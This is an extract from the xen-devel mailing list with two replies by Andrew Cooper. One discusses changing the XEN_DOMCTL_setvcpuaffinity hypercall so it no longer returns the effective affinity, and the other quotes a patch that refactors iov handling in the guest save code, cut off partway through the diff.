Message-ID: <4524812f-b9ee-4ef5-b5c6-7583815e859b@citrix.com>
Date: Wed, 1 Jul 2026 12:45:48 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Dario Faggioli <dfaggioli@suse.com>, George Dunlap <gwd@xenproject.org>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
Subject: Re: [PATCH 0/3] Change XEN_DOMCTL_setvcpuaffinity interface
To: Jan Beulich <jbeulich@suse.com>, Juergen Gross <jgross@suse.com>
References: <20260701111606.4063972-1-jgross@suse.com>
 <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citr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4/au1R/uSiUFjewJdT/LX1EklKDcQwpk06Af/N7VZtSfEJeRV04unbsKVXWZAk
 uAJyDDKN99ziC0Wz5kcPyVD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <4e16c1eb-e1ff-4d7a-bfa8-223d357716ee@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0615.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:314::17) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|PH7PR03MB7046:EE_
X-MS-Office365-Filtering-Correlation-Id: 4986ef8b-c074-45fd-72e5-08ded7664dc2
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|4143699003|6133799003|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	5VyJYrGJAoDB0ON/XCfXr4uUpA2USPuoKMPZJlQiqajkNoFE4LvGN7Rv8Zo6iWxLb5zKhXITWhdO+gJRZxtOJRm0LtT5zPmPyNKk5zy1heT6LjGp0XQt4+ETUAmDVzh6cOWWnU5tqMGHjcVqhWLoMnR7S1oac6ABv8J4HTCxtr/WfLuQwSYXsubNiDItnoFA8xta7cJ8J6ZasPeX6voXfxPbpbzFjncPPai2lEyUSKCq1eqRZV0I/cpoXwEK5I7Jb91Mdkz9Bi/V/6ESos8/dJAbwVKwW2hBvc6xeQj/SUx7R9YEeRbNzW4emGhuL5Dk4owSl+6gdh4X9mRB0s3CO7kbdSO7V/l06zVQjTt++QqRJ2G3WnzPo3nTZQqjauXF8FixCXBhlMUMfC90+P1lph68keCO8mu0K1YbegDoQUa+7d7ivfN3sGiHVx4y2Xpw3nuyw4i6/z0rDn2YSc30jh9gDOVKFMoYnoOYAZS0/ZDHIbPkm8oYlVo/w1lHv2axDxGgDVXC0n2yjoNZjDPsLYbkeb/QZyibZVA9SWlhlltHbnogk+YjpIl/xw8+d3QmvwdvPtNEHMFefiAQuMK14c1SA8iSyQrlB9yDC9IRh7bM9/15bvdBr+SeTEsQvniG/7jEzon6zrawGRcevbo44cDU/7RVKh4Cj2DGwpyvLVs=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(4143699003)(6133799003)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?OXZlZll3L2dlZXhRMjNpRCs2RlpWckcvL1ZMdS94ejM3bnpkYzlteW9ybmJr?=
 =?utf-8?B?dGl2MkxJamFjS2NOZVF0KytoekFaeURNMjUzRGZWQjZlZjJDbk5Td3JKcUJY?=
 =?utf-8?B?cUptZm9yZjJIZk1USFY4bkhveEJ5dGQ5UEJTb2xHRWZ6VVJhYmc2S2Q5Z1ZK?=
 =?utf-8?B?ZVpucjQ0UXhSa1BQN3pIUjA1eGN2NzdjWWM1eVRYbzJ2emdKcUlUMkdDWUR2?=
 =?utf-8?B?aDRabUdDUVFvMXBibGV1SjYxQTl4NlJoUHY1dUs3YUo2V3VPQURPRkJhckhx?=
 =?utf-8?B?TEN5WGpVaFkyUE55RkhKUEN5MnNhcVpubzVNdmRXQ3l6MGR3cThFNEl5TEY3?=
 =?utf-8?B?ek9NMTJOWEp1c08rdmxDVDBmN1drQ2xuNjN4dmc4cUF1VkVLZHZBL1YxbEFv?=
 =?utf-8?B?TFZQWVlpb0RSK0lSUnNPNnd0THFHYW5Tb2dYeWJ6V3ZpdzQ2Ly9xZXJUdTVG?=
 =?utf-8?B?UWZKRTdyMXhVWm1BVWc4RGtranA3UWp4d2FueGxGREFsbHRyZjdBNExLQ0Q2?=
 =?utf-8?B?TGtNeCtvdGUrdmFqR25MVi9sVUVITkJUZVY4UzFqZ0l4dVhaRFNVOWhET0Rw?=
 =?utf-8?B?OFJNeVpUMHFsZnQxS00zQ2twQlkzc2N6dmsxcHJVbk82bktjeW1jSlFiSXUw?=
 =?utf-8?B?eUx1UjYvbzB1MGg4Zll0b1VUdTEwMjNUK2FhZmJqZUIyVEdGa2FESW9nNnV5?=
 =?ut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aklQMTZOZGx0djkzZEtUSGQ4S0I2N0xt?=
 =?utf-8?B?UmQ1ZVNtRENIK2hJemJ3VDRIdmRUSWZEOTUrYm9rb01qWElJNlJ5QjBkZmZ6?=
 =?utf-8?B?OXBmVm1BT3JVcVptbWRVVHUzK214dDJNVlJnNS9KMHRGNGY5R09Ib1Fjd01W?=
 =?utf-8?B?TGJPSFBKS2RUNXVwaHI3emlsV25ReTBtNjlBWTczOEZhYXRzQlNNbEVrM05l?=
 =?utf-8?B?K3F0VjlydUZZdzZKM0hka2lPWExMTkV0L2JuWkxDQVhFR3duNGdTMTJPYVZD?=
 =?utf-8?B?c29mdTcvcXIrcE1kdG1SNjVpME1BMWRQTk1mN0xXemNGb2JpS2Rrei81b2lK?=
 =?utf-8?B?eE1XQjBiYTVSdldOSnpRMEtQTnZiTEdaL0dOQjdlc1pvNWdOMm5uWC84WFAz?=
 =?utf-8?B?SjFiN1loMWQ0YXhTUTQ5U0JpYTBhZTBhNE93NkI3cng4ejk4b0hFZkdDT0Nw?=
 =?utf-8?B?SXdQelhoVGRFc0F6MmhuUkU2bHZRTnFXMXVOSmx6OVNVb1orNFB4M0ZUWHNm?=
 =?utf-8?B?UUh2c05sUGpOSEpKVmhjTnRvK2hWbkVXWERXZ1l6YXhad3BBWllablVUa3g2?=
 =?utf-8?B?M3liYmxwQnlFWGFPbXlWZFo4dFRRaVNjK1lLVEFWNnVuUmRnZkovVDFzVzlr?=
 =?utf-8?B?bnBrYXFTcnVzMlZQejJaeXFBZWFsb3E2cnBHLzErUERRaHkyMHNKN051ZXVu?=
 =?utf-8?B?QjkxZXdYek9KU3YvOUdMeXYwOXB6NEVMY1FnYURWUVhYODlId1I3cnd6WGtV?=
 =?utf-8?Q?0xIXZdVwvZHrhtQM=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 4986ef8b-c074-45fd-72e5-08ded7664dc2
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 11:45:52.4960
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: dYOsnaYYPiZd4tfGUxUUjqmGAcxbmvphEbwLBxqxoKoouxfyyySroTiDpIdZLKELOHq1D5U1Vd5Q+RrG/Y8sH58rpSYCMbu3Cntvh0Pjdmo=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR03MB7046
X-purgate-ID: tlsNG-720697/1782906356-4F3137C5-23569715/0/0
X-purgate-type: clean
X-purgate-size: 1575

On 01/07/2026 12:39 pm, Jan Beulich wrote:
> On 01.07.2026 13:16, Juergen Gross wrote:
>> Today the XEN_DOMCTL_setvcpuaffinity hypercall will not only change the
>> affinity settings of a vcpu, it will return the new effective settings,
>> too.
>>
>> In case an error happens during this hypercall, the expectation of the
>> caller is that the affinity of the vcpu didn't change. This isn't true,
>> however, if passing the new effective affinity back to the user is
>> failing.
> That'll be the caller's fault though. Any -EFAULT coming back are an
> indication that the caller needs fixing.
>
>> Instead of making error handling in the hypervisor even more complex,
>> just change the interface by NOT passing back the new affinity. It can
>> easily be obtained by another XEN_DOMCTL_getvcpuaffinity call if
>> needed.
> At the expense of further increasing the pressure on the domctl lock.
> When making the recent error code change in this area, I was actually
> wondering in how far these two sub-ops might also be candidates for
> moving out of the locked region. Yet with vcpu_affinity_domctl() not
> using any locking that didn't look entirely straightforward to answer.

How does the effective setting differ from what's passed in?

I hadn't even realised that we pass data out of the set op, and it does
smell of bad API design.

While we do care about the domctl lock, I don't consider "extra pressure
on it" as a valid argument to be used here.Â  It's an internal detail,
whereas the hypercall API is an external detail.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 11:47:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 11:47:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1349855.1607490 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetPW-00012g-MR; Wed, 01 Jul 2026 11:47:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1349855.1607490; Wed, 01 Jul 2026 11:47:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wetPW-00012Z-Jb; Wed, 01 Jul 2026 11:47:22 +0000
Received: by outflank-mailman (input) for mailman id 1349855;
 Wed, 01 Jul 2026 11:47:21 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wetPV-00012P-47
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 11:47:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wetPU-00Amoy-HG
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 13:47:20 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fe42-5cb7-0a2a0a5109dd-0a2a4508de3a-34
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:47:20 +0200
Received: from [40.93.201.38]
 (helo=CY3PR05CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a44fe46-edec-0a2a45080019-285dc926ec90-4
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 13:47:20 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by PH7PR03MB7046.namprd03.prod.outlook.com (2603:10b6:510:2b9::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.159.14; Wed, 1 Jul
 2026 11:47:16 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Wed, 1 Jul 2026
 11:47:16 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=ZnZuBgRKmk9wnAttSHvXEUNc/Zw+81XGTOoIuFiW+rnV9nx7cpb/wtvL26u/P+thGr/Rr9zyPr4f5ZMHHe/k04Bf4cz2sn4+IUcXwNV0VitcRg8GbO0G/rITzmjWlkQCwK8MYVnVRbJzYrzIoRAsqMU20tMH5qkPxSH+1ZbZcJd/afIJFxUEeO62iaOnMc9bA1NvYOJBlIRB7SMdFbWxW+BX7YhenPMzSdu0bZygE8ZUR6rd32k3bDU774u1aH+Mm08OVNNZ8b9AZnzDByBg0dvqeVohTz2D8kw6WoTEqrvivCukhwD+3ykWE1mcTA7wKu5r6UgI/YxWJfIQf5ESeg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=rXjQ95t2lfcDtpe47bRxVISFPg4U+DnFnDalVW391eQ=;
 b=bQ6AESssJ0o61uZdXia/cNatm88u4pk8CtRx9o5V9F6Otlll9iym4RTBRKrtR4SxaDeE8IQyLow/8dWBvgwPXBLruhpTfApXXVfC6Qi+v20WDIQGfRZi9i3U967fMsVparXNhvA8nZmTti2T8GI0gmps/FlsuoUPGy484rt8CP2NED/e8ZiAHe5xdsN19/DFV8kjPMUG/rvbubQVGl1GIOTdjYorn6q9FOKOq3IdPFEv3l4kLFjk8nLVZ64fgL01DVyVvR0SVl7p+VEbbzBbY4Jc+ZTaxSETrTfIjpl7HYwVXbkdJgf3IAOLN03k042C12g9LaXyFC8W3+cK6JPRzg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=rXjQ95t2lfcDtpe47bRxVISFPg4U+DnFnDalVW391eQ=;
 b=XsFlseGop5aJpFTpu9uxHrjoDPFJpDmgWsfMD0katQwSKn0SicBBL86WfAUKypWqvkCTZk41ra8DlBj9/iSBpZzp5/mIqtnej3qEnIBcbrDQg/Ikuvly2U68az5iUAyC9r3vPavKTZOdDjzkziyZRUg82Y4U1i9U8oZLOknnZ1M=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <7ae3b2d9-3455-49e3-ac37-cb85d1e043da@citrix.com>
Date: Wed, 1 Jul 2026 12:47:13 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich
 <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>, Teddy Astie <teddy.astie@vates.tech>,
 Anthony PERARD <anthony.perard@vates.tech>, Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 08/16] libs/guest: fill directly iov structure
To: Frediano Ziglio <freddy77@gmail.com>, xen-devel@lists.xenproject.org
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-9-frediano.ziglio@citrix.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHlG3R1QkbE5M/oywnZ83udJmi+lxjJ5
 YhQ5IzomvJ16H0Bq+TLyVLO/VRksp1VR9HxCzItLNCS8PdpYYz5TC204ViycobYU65WMpzWe
 LFAGn8jSS25XIpqv0Y9k87dLbctKKA14Ifw2kq5OIVu2FuX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IJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260619130501.272832-9-frediano.ziglio@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P123CA0611.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:314::10) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|PH7PR03MB7046:EE_
X-MS-Office365-Filtering-Correlation-Id: 6cd3e53d-c311-4d72-eaa9-08ded7667fad
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|366016|1800799024|376014|4143699003|6133799003|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	eUz/Syqc54wr7COrUFVDM2qadCLMAGzQbJl4GGlGwb88p2Gfr28V0ebBBCZOwkDdZAWcQj38uJ++lzxSwDg5LBFCuSZ/1yxIhR5n62BorGQ0YcPFmtWkLqzzqQaxhAasMgDcN6tnv0kg8bsqjRL0RMNshcYxqLoGvSinQJ27ce4PDGmZgCXGhT17EO8TzkuictLkLFb42l1I5QL18WBArjq0UgFa6GUSZYc9qALac2Cq1k2XV2Z8TzGVOx3y9SFoXOBGmxW3WIM3FEei3371Z9op7jTPLq0KgGHxii8eMJzI8t0qEFdyn5QgjGiBK2RlutTEWvPzIfIdoQYh9kPrvsAi1weCeVWijF6fSN/FOD33H4BKKJhietk1x1We7wbVWhiG2qJZuMDDkmP0c8oSJUXGxtH0SRJtaxARUvPGffobEOj3AVdMtqVBaaA4flC2y2SUIOBP+LiWBmJBqNRaW2MViqSpjoooCTyzYxUWbIC0TUn9xlZZ171X8U5g9F8tEGtIw+lK+NpEc5ZIDn1pg4sRWZakQjTjOWGQaUqx8ocdYdjWvtWUvfZfWuZTxvjvrpc1C+rtRYsvgTvEkHYQmjW+ZjYt3cmWKoMxfXigdxh2G2SWYTNBmwd9XSUZkLNv0T+6/ha6jHKDR59u3GZ9Fm9pl2f40mAsUXmgT3vNY5Y=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(366016)(1800799024)(376014)(4143699003)(6133799003)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?utf-8?B?QWh1aGNRMVh4Z1Y5YmNqNlBvdlpRVTY4NTVTS3l3RldzVm9iWFNIMDFCNTF4?=
 =?utf-8?B?b1FETERqcm54TWhTTmh1bVVaZFlESGRMdnpjamhxdm5SQlE1d01ZWVZVbXNP?=
 =?utf-8?B?b0dqWnM5VWM2aDdaUmRFNERzU000SjdSa0tsbUpiWHREdWI4VGlNaXEvTUts?=
 =?utf-8?B?T3NEOWlwNkJSazNTZ2JmWkVMMWhoaUFkdWh6cUVJZjQ0cFhIaVpReTl6bDJm?=
 =?utf-8?B?Qi8vUllzQUd4VjhyRVUrdFlHaXFFWWVoemJ5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RlV0SkJnTURMbWFLc2hKMllNR1Rkc0d3?=
 =?utf-8?B?U2d0ZG1xRE9LT2xKVzRWYWhac0tqeWpvWXBBbGQzaVY4WDNJN3hzWHRDT0Ja?=
 =?utf-8?B?VWUvSVlqbStQM2hiQVI0V3lBTnZia1BWUzJVSjB1L1lYaGs0blo0V2R0MVJ2?=
 =?utf-8?B?NE1LZVZ5NWhxRmxZRW0zQXNScFh0c0hXYTBHVHRZUEFRdlQvTWdrbEhwWWVk?=
 =?utf-8?B?N3g3b0JVMUlsNGY3YzU5bXBJS3QxRktDNGMwa2hBWUJ2SDlpTFgvL2I3WFR5?=
 =?utf-8?B?TWJwcG9WU1pnT0dxUDlmS3BYMFFyOTJoWWkzTWw2WDNLSjdFQnZKZ1ZUZ3h5?=
 =?utf-8?Q?VdpiU3zpRgGRQ24A=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 6cd3e53d-c311-4d72-eaa9-08ded7667fad
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 11:47:16.2531
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: cpewHvgBiRSXcsbKUqSdW8PyrTVVr26rEpj4Qh/gFI0Wsv+6y7zFJPLgAdFIdu3GBKaxE64oJDk2j7OjrOg8L4CY3M13TO9a8M5X+oSiNAI=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PH7PR03MB7046
X-purgate-ID: tlsNG-c1860d/1782906440-A3F323FC-4720F598/0/0
X-purgate-type: clean
X-purgate-size: 5189

On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> Instead of storing page pointers into an array and lately adding to
> iov vector add the pages directly to iov to avoid "guest_data"
> array.
>
> Signed-off-by: Frediano Ziglio <frediano.ziglio@citrix.com>
> ---
>  tools/libs/guest/xg_sr_common.h |  1 -
>  tools/libs/guest/xg_sr_save.c   | 64 ++++++++++++---------------------
>  2 files changed, 23 insertions(+), 42 deletions(-)
>
> diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
> index 95b0564e5c..b2c441b644 100644
> --- a/tools/libs/guest/xg_sr_common.h
> +++ b/tools/libs/guest/xg_sr_common.h
> @@ -214,7 +214,6 @@ struct xc_sr_context_save_buffers
>      xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
>      xen_pfn_t mfns[MAX_BATCH_SIZE];
>      xen_pfn_t types[MAX_BATCH_SIZE];
> -    void *guest_data[MAX_BATCH_SIZE];
>      void *local_pages[MAX_BATCH_SIZE];
>      struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
>      uint64_t rec_pfns[MAX_BATCH_SIZE];
> diff --git a/tools/libs/guest/xg_sr_save.c b/tools/libs/guest/xg_sr_save.c
> index 4988d8040b..8a22267fdf 100644
> --- a/tools/libs/guest/xg_sr_save.c
> +++ b/tools/libs/guest/xg_sr_save.c
> @@ -88,7 +88,6 @@ static int write_batch(struct xc_sr_context *ctx)
>      xc_interface *xch = ctx->xch;
>      xen_pfn_t *mfns, *types;
>      void *guest_mapping = NULL;
> -    void **guest_data;
>      void **local_pages;
>      int *errors, rc = -1;
>      unsigned int i, p, nr_pages = 0, nr_pages_mapped = 0;
> @@ -113,9 +112,6 @@ static int write_batch(struct xc_sr_context *ctx)
>      types = ctx->save.buffers->types;
>      /* Errors from attempting to map the gfns. */
>      errors = ctx->save.buffers->errors;
> -    /* Pointers to page data to send.  Mapped gfns or local allocations. */
> -    guest_data = ctx->save.buffers->guest_data;
> -    memset(guest_data, 0, sizeof(*guest_data) * nr_pfns);
>      /* Pointers to locally allocated pages.  Need freeing. */
>      local_pages = ctx->save.buffers->local_pages;
>      memset(local_pages, 0, sizeof(*local_pages) * nr_pfns);
> @@ -158,6 +154,19 @@ static int write_batch(struct xc_sr_context *ctx)
>          mfns[nr_pages++] = mfns[i];
>      }
>  
> +    hdrs.rec.length = sizeof(hdrs.page_data);
> +    hdrs.rec.length += nr_pfns * sizeof(*rec_pfns);
> +
> +    hdrs.page_data.count = nr_pfns;
> +
> +    iov[0].iov_base = &hdrs;
> +    iov[0].iov_len = sizeof(hdrs);
> +
> +    iov[1].iov_base = rec_pfns;
> +    iov[1].iov_len = nr_pfns * sizeof(*rec_pfns);
> +
> +    iovcnt = 2;
> +
>      if ( nr_pages > 0 )
>      {
>          guest_mapping = xenforeignmemory_map(
> @@ -199,61 +208,34 @@ static int write_batch(struct xc_sr_context *ctx)
>                  else
>                      goto err;
>              }
> +            else if ( iov[iovcnt - 1].iov_base + iov[iovcnt - 1].iov_len !=
> +                      page )
> +            {
> +                iov[iovcnt].iov_base = page;
> +                iov[iovcnt].iov_len = PAGE_SIZE;
> +                iovcnt++;
> +            }
>              else
> -                guest_data[i] = page;
> +            {
> +                iov[iovcnt - 1].iov_len += PAGE_SIZE;
> +            }
>  
>              rc = -1;
>              ++p;
>          }
>      }
>  
> -    hdrs.rec.length = sizeof(hdrs.page_data);
> -    hdrs.rec.length += nr_pfns * sizeof(*rec_pfns);
>      hdrs.rec.length += nr_pages * PAGE_SIZE;
>  
> -    hdrs.page_data.count = nr_pfns;
> -
>      for ( i = 0; i < nr_pfns; ++i )
>          rec_pfns[i] = ((uint64_t)(types[i]) << 32) | ctx->save.batch_pfns[i];
>  
> -    iov[0].iov_base = &hdrs;
> -    iov[0].iov_len = sizeof(hdrs);
> -
> -    iov[1].iov_base = rec_pfns;
> -    iov[1].iov_len = nr_pfns * sizeof(*rec_pfns);
> -
> -    iovcnt = 2;
> -
> -    if ( nr_pages )
> -    {
> -        for ( i = 0; i < nr_pfns; ++i )
> -        {
> -            if ( !guest_data[i] )
> -                continue;
> -
> -            if ( iov[iovcnt - 1].iov_base + iov[iovcnt - 1].iov_len !=
> -                 guest_data[i] )
> -            {
> -                iov[iovcnt].iov_base = guest_data[i];
> -                iov[iovcnt].iov_len = PAGE_SIZE;
> -                iovcnt++;
> -            }
> -            else
> -            {
